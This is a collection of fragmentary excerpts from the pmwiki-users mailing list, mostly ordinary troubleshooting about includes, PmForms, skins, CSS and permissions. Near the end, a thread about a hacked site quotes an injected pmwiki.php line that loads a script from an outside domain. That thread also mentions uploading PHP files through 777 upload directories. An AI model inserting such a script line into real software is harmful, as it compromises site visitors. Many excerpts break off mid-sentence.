Petko Yotov wrote:
> Yes, you can have
> (:include {*$Group}.BloggerTemplate Site.LocalBloggerTemplate
> Site.BloggerTemplate:)
This seems to search for the first page that exists in the list, and
then search for the section. If it doesn't find the section in the first
existing file it stops
When you use a pagelist you speficy a ftm=#abc, and PmWiki will search
through pages speficied in $FPLTemplatePageFmt and find the appropriate
section.
Does something like this exist for includes?
For Blogger, I'm want to provide a way for skins to override the layout
of certain sections. That
I find it slightly ironic that the site uses Wordpress :)
john.ran...@affinity.co.nz wrote:
> The 5th international symposium on wikis takes place in
> Orlando, Florida on 25-27 October 1009.
>
> For more information, see http://www.wikisym.org/ws2009/
>
> Is anyone thinking of attending and/or
Over the past few weeks I've been working on a blogging system that
provides basic blog functionality using only PmWiki functionality. The
system provides the ability to enter and manage blog entries, and basic
commenting, aproval, and management.
I've put up the first Alpha version at Cookbook
> take a look here:
> http://www.mail-archive.com/pmwiki-users@pmichaud.com/msg15478.html
> grz nos
Thanks for pointing that out. Looks like the answer is basically no
built in way. So I'll stick with the (:if false:).
___
pmwiki-users mailing list
p
nosk...@gmx.net wrote:
> Yes it works, the problem seams to be that authuser only works if the
> function PageTextVar is called after the defaultpassword definition.
> PageTextVar uses the RetrieveAuthPage this may cause the problem, so I
> guess I need try to get the ptv without authentifica
One thing:
> $page = FmtPageName($pagename, '$Group.$Name' );
> $SelfPagetype = PageTextVar($page, "pagetype");
Not sure what FmtPageName returns, but try removing that line and do
this instead:
$SelfPagetype = PageTextVar($pagename, "pagetype");
Are you sure $SelfPagetype is being set ok
When including a page, from a section marker, the actual section marker
is also included, wrapped in tags. This means that the hidden
section marker takes up vertical space.
Example:
(:include TestPage#marker:)
Results in:
A work around to to ensure that the section marker is surrounded
DaveG wrote:
> The $PageTextVarPatterns is not too fussy where it goes. However, the
> Markup must not execute prior to the code that's handling the save
> processing of the PmForm. If it does execute then the code producing
> .pageindex will not process tags within the
Jan Erik Moström wrote:
> I'm probably going about this is the wrong way and would
> appreciate some pointers in the correct direction.
>
> I want to change the padding of list items in some lists, the
> lists are contained in cells in a table and generated by the
> pagelist command. I know tha
Okay, I managed to restore some older versions of my code, and compare
the older working version with the newer.
Here's the markup declarations I'm using:
$PageTextVarPatterns[
'(::var:...::)'] = '/(\(:: *(\w[-\w]*) *:(?!\))\s?)(.*?)(::\))/s';
Markup('textvar::',
' I've created a form using
A few quick notes below.
Russ wrote:
> I have a project that outputs one particularly large HTML page (250k +),
> which is being generated in an average 0.4 seconds but takes 10-12
> seconds under moderate server load to display.
Are you sure the page needs to be this large? Every time I've see
I've created a form using PmForms. I've added a set of delimiters
(::...::) to the field definition (unfortunately, I'm not somewhere that I
can provide the code I'm using), in order to be able to include markup like
(:...:) inside a field.
In one of the fields, the user can enter [[!xxx]] cate
ki...@kirpi.it wrote:
> As far as my own experience goes chaptchas are not a 100% solution.
> Yet they are effective and helped me to almost completely stop wild
> "edit" spam by bots on a couple of open (no password protected) wikis.
You appear to be suggesting that Captcha has failed in some ca
page that already exist, and so throw an error... which I
didn't see because of [1].
Solution:
1] Add an (:message:) directive to the redirect form.
2] Change the validation routine. If the saveto page is the same as the
current page, then do not throw an error.
~ ~ Dave
DaveG wrote
Does anyone happen to know if PmForms supports setting variable values
with select lists?
It seems to show the list fine. But when saving it saves only the
default value. Changing the underlying data values in the saved-data
page (the saveto), and then reopening in the form shows the correct
v
Hans wrote:
> Sunday, December 28, 2008, 4:30:27 AM, Petko Yotov wrote:
> Dave, I don't know if this is of use to you:
>
> FoxForum (in foxforum.php) uses a custom PTV markup
> (::var:multiline value::) for posting text area content
> including directives as a PTV.
> Defined like this:
>
> # ad
Thanks for taking the time to respond Petko.
Petko Yotov wrote:
> Allowing users to add (:directives:) may be risky, they could add
> (:noaction:), (:noleft:), (:noheader:), (:notitle:), (:redirect SomeWhere:),
> (:linebreaks:) and other possibly dangerous / defacing markups like (:if
> false:)
DaveG wrote:
> Docs and code suggest that $PmFormPostPatterns is used as the basis for
> text replacement in PmForms. However, setting in config.php:
> $PmFormPostPatterns = array();
>
> Causes all text beyond the closing :) to be stripped.
>
At the risk of talking to mys
; (:input default request=1 :)
(:input default $:entrydate "{(ftime)}":)
> (:messages:)
Date: (:input text $:entrydate size=25 :)
> (:input submit value="Submit":)
> (:input end:)
> [[#entry-formend]]
DaveG wrote:
> When creating a form template, specifyi
When creating a form template, specifying a 'default' value overrides
any values brought in from source:
[[#entry-form]]
(:input pmform target=tmp:)
(:input default source={*$FullName} :)
(:input default request=1 :)
(:messages:)
Date: (:input text $:entrydate size=25 default="{(ftime)}":)
(:inpu
If you comment out the edit/site-wide password, what happens? If
everything works when you remove the passwords, it sounds like you may
be having a problem with (1)how you are specifying passwords, or with
(2)writing session information.
Make sure your using the format:
$DefaultPasswords['admin
For javascript and css images, the paths will be relative to the
location of the js/css files.
> fileLoadingImage:'images/loading.gif'
In this case, make sure you have an images directory with the gif inside.
~ ~ Dave
Jan Erik Moström wrote:
> Petko Yotov <5...@5ko.fr> 08-12-27 00.
Docs and code suggest that $PmFormPostPatterns is used as the basis for
text replacement in PmForms. However, setting in config.php:
$PmFormPostPatterns = array();
Causes all text beyond the closing :) to be stripped.
~ ~ Dave
DaveG wrote:
> Currently when using PmForms, if the u
Try {$SkinDirUrl}.
Jan Erik Moström wrote:
> I'm trying to modify one lightbox implementation to work with a
> theme I like. Everything seem to work except that the images
> that the CSS file and JS files load have the wrong path.
>
> I can of course hard code the path in the files but I suspec
Currently when using PmForms, if the user enters markup in a textarea,
and saves, the returned data inserts a space between the parentheses,
and the colon.
User enters:
(:somemarkup:)
Post-Save:
( :somemarkup: )
This is probably as a security measure. Is there a to disable this, and
retain th
er 2008 1:39
> *CC:* pmwiki-users@pmichaud.com
> *Onderwerp:* Re: [pmwiki-users] Security breach?
>
>
>
> On Mon, Dec 22, 2008 at 11:53 PM, DaveG <mailto:pmw...@solidgone.com>> wrote:
>
> Setting things to 755 is safer than 777. The question is, will that wo
Setting things to 755 is safer than 777. The question is, will that work
on your site, with your host, with your version of PHP, with the setup
of the webserver you have? I don't know. Easiest way to find out is
after creating wiki.d and uploads, to set them to 755; if you can create
or edit a
> What happens is that the hackers use the uploads directory
> (with 777 permissions) to upload php files, and then it seems these php
> files can be used to access other parts of the filesystem (if I
understood
<...snip...>
> If a directory has 777 permissions, is there anything to stop someone
>
Hans wrote:
> Sunday, December 21, 2008, 9:55:27 PM, DaveG wrote:
>
> this will work if var1, var2 etc are in your TemplatePage as
> replacement variables of form {$$var1}, {$$var2} etc.
Thanks Hans, this works great.
___
pmwiki-users
Hans wrote:
> Sunday, December 21, 2008, 7:56:27 PM, DaveG wrote:
> read up on this here:
> http://www.pmwiki.org/wiki/PmWiki/IncludeOtherPages
> under heading Basepage=
Thanks Hans, but unless I'm reading it wrong, that shows me how to have
the data in a separate page. What I
I just discovered that (:include can be passed a page containing
variables, which the included page will then use. This is incredibly
powerful, and exactly what I have been looking for.
Is there a way to use or extend include so that rather than supplying a
page containing variables, we provide
Is there a way to temporarily prevent markup from adding wrappers?
In particular within a .tmpl, I have:
However, this gets wrapped in tags, which causes subsequent text to
appear on a new line -- I can get around this by using css to stop that,
but I'd prefer not to. Is there a way to prev
I'm afraid I don't have any explicit help or information, other than to
say that in general I've had no problem with PmWiki being able to handle
a number of users, with apparently low load. (I've used a host called "A
Small Orange" with no issues over 3 years.). I'd be very suprised if it
was m
The problem you're seeing is due to the "float: left" on #wikileft. More
information and pointers below.
--
You appear to be using it to separate the left column and the main body
content -- probably because the PmWiki template does that. Since you are
using tables, you don't need to float elem
PhotoGallery is focused around the presentation of pictures, images, and
photographs. It's focus is on Album navigation, but also provides basic
tab navigation, with markup to ease the creation of albums.
Designed to be used in conjunction with pmGallery and Galleria,
basically providing a skin
Drop Shadow is a basic blog-style two column skin, with top level
navigation tabs, adapted from the Wordpress platform. It's a fairly dark
theme, with some color highlighting; colors are selectable (red, yellow,
green, blue, orange). Typical PmWiki functionality is supported, including
the abilit
> How does $WikiStyle['text']['background-color'] = 'red' relate to the
> skin? Or how do they play together?
> Or which one has priority?
Typically the PmWiki declarations come after the css, and thus will
over-ride what is in the css. There are some exceptions to this,
particularly if the css us
On Thu, 6 Nov 2008 17:39:38 +0100, "Stéphane Heckel"
<[EMAIL PROTECTED]> wrote:
>> Quoting the expression like this should work:
>> $FmtPV['$PageAuthId'] = 'MakePageName("Profiles.Template", $AuthId)';
>
> It returns an empty string, ... $AuthId is not interpreted ?
I can't test this right now
DaveG wrote:
You should also be able to change the style by adding this to config.php
(from http://www.pmwiki.org/wiki/PmWiki/CustomWikiStyles):
$WikiStyle['#text']['background-color'] = 'red';
Should be:
$WikiStyle['text']['background-color&
On the default skin, in pmwiki.css (and probably most other skins)
change or add:
#wikiedit textarea {
background-color: #ff00ff
}
Of course, you should create a new skin rather than changing the default
one.
You should also be able to change the style by adding this to config.php
(from h
> However, I'm not sure how I should use MakePageName to return a valid
> "GroupName.PageName".
> In my exemple, the function returns "GroupNamePageName" (without
> the .dot)
The key to the question is http://www.pmwiki.org/wiki/PmWiki/OtherVariables
Quoting the expression like this should work:
Perhaps you could use an InterMap
(http://www.pmwiki.org/wiki/PmWiki/CustomInterMap) as a 'translation'.
This would mean you'd have to maintain a list of usernames and email
addresses.
Thus, the intermap page (where smithb is the AuthId):
smithb: [EMAIL PROTECTED]
And in use:
[[Profiles.{$Aut
Take a look at the Skidoo skin
(http://www.pmwiki.org/wiki/Cookbook/Skidoo), which does exactly this. I
used the jQuery library to make things simpler to code, but there's
nothing too complex in what you want to do that *needs* jQuery if you
don't want to use it.
~ ~ Dave
Simon wrote:
I'm
Ian MacGregor wrote:
> This gives a bulleted list of page titles but how would I add the
> creation time of each page to the list?
Not tried it, but this page:
http://www.pmwiki.org/wiki/PmWiki/PageVariables explains an approach.
And according to http://www.pmwiki.org/wiki/PmWiki/PageLists, as o
Erik Haagensen wrote:
> The pmWiki.php-file is infected with this line:
> $HTMLEndFmt = "\n src=http://www.mc2n.ru/script.js>\n";
This is interesting, as it indicates that who ever made the changes had
at least some knowledge of the PmWik
A few years back I moved from a Windows host to a Linux. I much prefer
the Linux host. I have control over URL names (mod_rewrite), and
generally have more control over the environment. Information for
installation and configuration of 3rd party software (things like Ruby,
GIT, Drupal), seem to
> 2] Quotes within the $2 text now appear in the final output as \" rather
> than simply ". I've tried moving the $2 around to no avail. Any
> suggestions there?
Using PSS as described here removed the backslashes before the quotes. I
now have this (with a few tweaks):
Markup('^Country:', 'ful
Dominique Faure wrote:
> You should perhaps use Keep(...) to prevent any further Markup processing:
>
> Markup('^Country:', 'fulltext',
>'/^Country\\s+([a-zA-Z][a-zA-Z]):(.*?)<<>>/isme',
>"'<:block>'.Keep(' style=\'background-image:
> url(\"'.\$GLOBALS['PubDirUrl'].'/dropdown/fla
I'm trying to define a markup, part of which will be used to determine
the path for an image styled background. However, this markup:
Markup('^Country:', 'fulltext',
'/^Country\s+([a-zA-Z][a-zA-Z]):(.*?)>><
Patrick R. Michaud wrote:
> You probably need a custom CSS entry that overrides text-decoration
> for elements, and then use that.
>
> .nounderline, a.nounderline, .nounderline a { text-decoration=none; }
Should be a : not an =:
.nounderline, a.nounderline, .nounderline a { text-decorati
rs Canada customers. I
> suspect other ISPs will start to do the same thing. We'll add our voices
> to the formal complaints on both fronts.
>
> Sandy
>
>
>
>
>
> DaveG wrote:
>> If you can get your host to setup 'wildcard subdomains' then you
If you can get your host to setup 'wildcard subdomains' then you can handle
any request for a subdomain through .htaccess, forwarding to PmWiki, if you
choose, for a specific error message.
~ ~ Dave
On Mon, 21 Jul 2008 16:03:03 -0400, Sandy <[EMAIL PROTECTED]> wrote:
> I just learned that my IS
I also noticed this. It *seems* to have started with on of the recent
beta releases.
~ ~ David
noskule wrote:
> hi list
> I experienced a strange behaviour if I click on the groupname on the
> pmwiki default skin.
>
> The link don't point tho the group-homepage as aspected but to the the
>
[EMAIL PROTECTED] wrote:
> I'm using the 'Blix' skin and noticed that the labels for the radio
> buttons are formatted wrong. For anyone else using the Blix skin,
> you'll need to comment out the following section in
> .../pub/skins/Blix/layout.css
>
> /*
Jan,
I've just started looking at doing something similar for Picasa/Flickr,
and would love to get some ideas from your SmugMug plugin. Feel free to
send to me at this address.
~ ~ Dave
Jan Erik Moström wrote:
> I have written a small recipe that makes it possible to use the
> ShizamSlides
My fault... the URL's on that particular page had been hard-coded. Duh.
~ ~ Dave
DaveG wrote:
> I'm setting $UploadDir and $UploadUrlFmt in farmconfig.php, but the
> values I see on the wiki pages seem to be the default /pmwiki/uploads
> directory. I set other dire
I'm setting $UploadDir and $UploadUrlFmt in farmconfig.php, but the
values I see on the wiki pages seem to be the default /pmwiki/uploads
directory. I set other directory paths with no problem. Just the uploads
doesn't seem to be set to whatever I use. Just to be sure, I've also
tried setting t
http://www.pmwiki.org/wiki/PmWiki/PmWikiUsers-Map
Found by typing "google maps" into the PmWiki search box :)
~ ~ Dave
Ben Wilson wrote:
> There is a site where members of this group flag where they are
> located on a Google Map. Where is that?
>
_
Maria McKinley wrote:
> Thanks Dave, I increased the margin, but I don't have an
> images/bg_top.gif. In the images folder are:
>
> guiedit sub_icon.gif warning.gif
>
> and in guiedit:
It's in the color directory. In you case that would be
marinee/color-green/images. However, see below...
et me
how much you need the image changed by, I can do that for you.
Hope that helps.
~ ~ Dave
DaveG wrote:
> Unfortunately, making the black bar bigger is not as simple as it
> sounds. As a starting point you'd need to change the images/bg_top.gif,
> images/co
Unfortunately, making the black bar bigger is not as simple as it
sounds. As a starting point you'd need to change the images/bg_top.gif,
images/container_right.gif, and images/container_left.gif background images.
If you want to simply get a larger image in the header thoug, you might
be able
The captcha is the best way forward -- very easy and quick to setup too.
If you need immediate relief, you might try blocking an IP range, at
least temporarily.
~ ~ Dave
Mark Trumpold wrote:
> Thanks PKHG
>
> so how do I refuse http:// postings, at least untll i can work out the
> captcha .
Are you sure you picked the correct .htaccess file? Is there one at a
higher level directory perhaps?
~ ~ Dave
Allister Jenks wrote:
> I recently switched hosts and migrated several PmWiki based sites in the
> process.
>
> On one site, I had the URLs forming as
> http://www.site.com/pmwiki
This system of the completely open password seems to work very well. The
extremely popular Coding Horror
(http://www.codinghorror.com/blog/archives/001108.html#comments) relies
on this almost entirely, and has almost no spam problem.
~ ~ Dave
Erik Haagensen wrote:
> hm
> the solution wit
You can install http://pmwiki.com/Cookbook/Captcha.
~ ~ Dave
Marguerite Floyd wrote:
>
> Someone keeps using the comment block to spam a page. How do I fix this?
>
>
> You can see the problem at
>
>
> http://www.wikiparrot.com/index.php?n=Behavior.Behavior#sBehavior.Behavior_8
>
>
> Th
Send it on to me and I'll merge it into the skin.
~ ~ Dave
[EMAIL PROTECTED] wrote:
> Em Domingo 09 Março 2008 12:12, DaveG escreveu:
>> David Spitzley wrote:
>>> I've discovered a weird rendering problem: in Firefox a [[<<]] pushes
>>> everything
David Spitzley wrote:
> I've discovered a weird rendering problem: in Firefox a [[<<]] pushes
> everything after it below the bottom of the content in my SideBar, but in IE
> the [[<<]] is seamless. You can see the effect at
> http://www.davidaspitzley.org/PotatoPatch/index.php?n=Main.WikiSa
Another I forgot about is Jira -- I don't have any experience to share
though.
Jan Erik Moström wrote:
> marc <[EMAIL PROTECTED]> 08-02-23 10.57
>
>> I'll second trac for a s/w development project; but keep in
>> mind you'll need python available on your web server.
>
> :-) That's not really a
Patrick R. Michaud wrote:
> A similar argument goes for storing parts of config.php into
> a wiki page -- it means that someone who is able to modify
> those pages somehow can start executing arbitrary scripts
> on the server. There may be cases where this would be
> okay, but in the general cas
imoc wrote:
> Wow. The skin is really impressive. But I still have no idea how to
> move the effect from a skin to a page. Do you have a working wiki
> using Skidoo skin? Thank for help.
The demo site was moved to http://skins.solidgone.com/ -- feel free to
use it. The key is that I'm using jQu
imoc wrote:
> There are many method to display information in a concise interface. One
> of them is using 'tabs'. Some examples can be found here:
You might want to take a look at the Skidoo skin. It uses the tab
concept to display included pages, and might give you some ideas.
~ ~ Dave
__
>> I didn't realize that. So, as a skin creator, what would a 'standard'
>> skin header/footer look like? Simply like this?
>
>>
>
> What use does it have?
>
> I don't think we have a standard nomenclature for skin subpages.
> I use PageHeader, PageFooter, PageTopMenu, PageFootMenu et
Not using PmWiki, but Trac (http://trac.edgewall.org/) integrates very
well with Subversion (and other source control systems).
~ ~ Dave
Jan Erik Moström wrote:
> I want to set up a issue tracker on personal site. I looked at
> the cookbook and found three recipes PITS, JITS and Yeats ...
>
Firstly, as the creator of the Marinee port, sorry you had so much
trouble with the skin. Glad we now have a solution -- I'll update the
skin with a permanent fix (plus others I've done).
> Try to replace every call in the skin for SiteHeader and SiteFooter as shown
> bellow.
>
> replace this
Unrelated to you problem: I ported Marinee from WordPress, and retained
all the CSS styles from the orignial; thus, styling for comments, etc,
are inside the template files, ready to be used (in theory). I've been
meaning to write-up which styles to use when -- now that there seems to
be a need
It looks like the SiteFooter has markup which includes the comments.
http://www.davidaspitzley.org/potatopatch/index.php?n=Site.SiteFooter?action=source
David Spitzley wrote:
> I'm working on getting a new wiki online, and I've encountered a problem.
> I'm using the Marinee skin with the BlogSi
H. Fox wrote:
> FWIW, the suggested directory structure:
>
>http://www.pmwiki.org/wiki/Cookbook/ModuleGuidelines#complex_recipes
>
> If you want to simplify unpacking...
>
>http://www.pmwiki.org/wiki/Cookbook/ModuleGuidelines#simpler_package_method
Some useful info, that I didn't know
I'm looking for additional ideas, and thoughts around a mechanism I use
to track URLs. Any thoughts around implementation approaches would also
be welcome. (I appreciate there are on-line tools that do similar things
-- having something as part of my existing notes system has a number of
advant
Petko Yotov wrote:
> In most installations, the /cookbook/ directory is read-protected:
> cannot and should not be accessed from the internet. It is a security
> risk to have this directory world-readable. I believe even PmWiki places
> there a .htaccess file denying the access.
Hmm, I didn't
I'm writing a Cookbook (or Recipe, I never know which is which), and I
need to get the URL of the location that the script is executing from --
basically the cookbook directory. This way gets me the script *path*
(not the URL), which isn't quite what I need:
dirname(__FILE__)
The best I ha
> Is it perhaps a skin issue? On my own site I’m using triad (with or
> without the right-bar) and I know I don’t have that problem…
It happens because of the way the PRE tag is defined as being
non-wrapping. When there is a long line contained in PRE tags (check out
under the Examples heading
mp; Petko, thanks both
> I use the Blix skin and is not defined in the .tmpl file.
> I'm going to suggest this enhancement request to DaveG.
Thanks for the heads-up. I've added the problem to the Known Issues
list. Fix should be soon...
~ ~ Dave
__
Tegan Dowling wrote:
> "Warning: Cannot modify header information - headers already sent by
> (output started at /home/justice4/public_html/test/pmwiki.php:281) in
> /home/justice4/public_html/test/pmwiki.php on line 884".
>
> RewriteEngine on
> RewriteRule ^([A-Z].*) index.php?n=$1 [L,qsappen
I like this idea a lot. I implemented something 'slightly' similar on my
web page (mr2wiki.com) but it never really worked fully, and wasn't as
flexible. This however, has a lot of promise, so it's going to replace
what I had.
I particularly like this as we can now do some interesting GtD thing
Tegan Dowling wrote:
> The wikilib.d directory contains the default version of all of the
> pages required for an operating installation of a PmWiki site. When
> you later upgrade from one version of the software to the next, that
> directory, and all of the files in it, will be replaced with a n
> Strange behaviour for a comment though
All the comment markup does is to create a surrounding DIV tag with
display:none. Whatever is in the DIV is still part of the DOM, and still
needs to be valid.
~ ~ Dave
___
pmwiki-users mailing list
p
ople might be interested in using.
I've listed my top candidates here: http://www.pmwiki.org/wiki/DaveG/Skins
Feel free to add your own selections, or to vote on the ones that are
already there. You don't need to stick to Wordpress themes, so feel free
to select from other platforms
The redirect permanent is simply an instruction to readers (like
browsers), and is only active whilst you have the instruction -- they
are not recorded, as such. If you remove the redirect from
.htaccess/cpanel then you're back to a no-redirect.
Google will eventually revisit your site, see the
>> Resending, to include list. <<
On Thu, 17 Jan 2008 10:34:25 -0600, Steven J Brady <[EMAIL PROTECTED]> wrote:
I'm trying to override the Site.GlossyHue-SiteHeader, Nav, and Footer
but can't seem to get the syntax or locations correct. Here is what I
tried: 1. Updated Site-GlossyHue-SiteHea
A solution is to add after the empty cell declarative. Someone may
be able to help change the markups to automate this.
~ ~ David
On Fri, 11 Jan 2008 14:32:17 -0500, Robert Gann <[EMAIL PROTECTED]> wrote:
> Here is the code.� If you have used table directives, you know
> that this should
Certainly looks like the site was compromised. First thing to check is
the permissions on the file. Also, check logs to see if anyone other
than you logged in.
Here's what the code would produce:
document.write(unescape('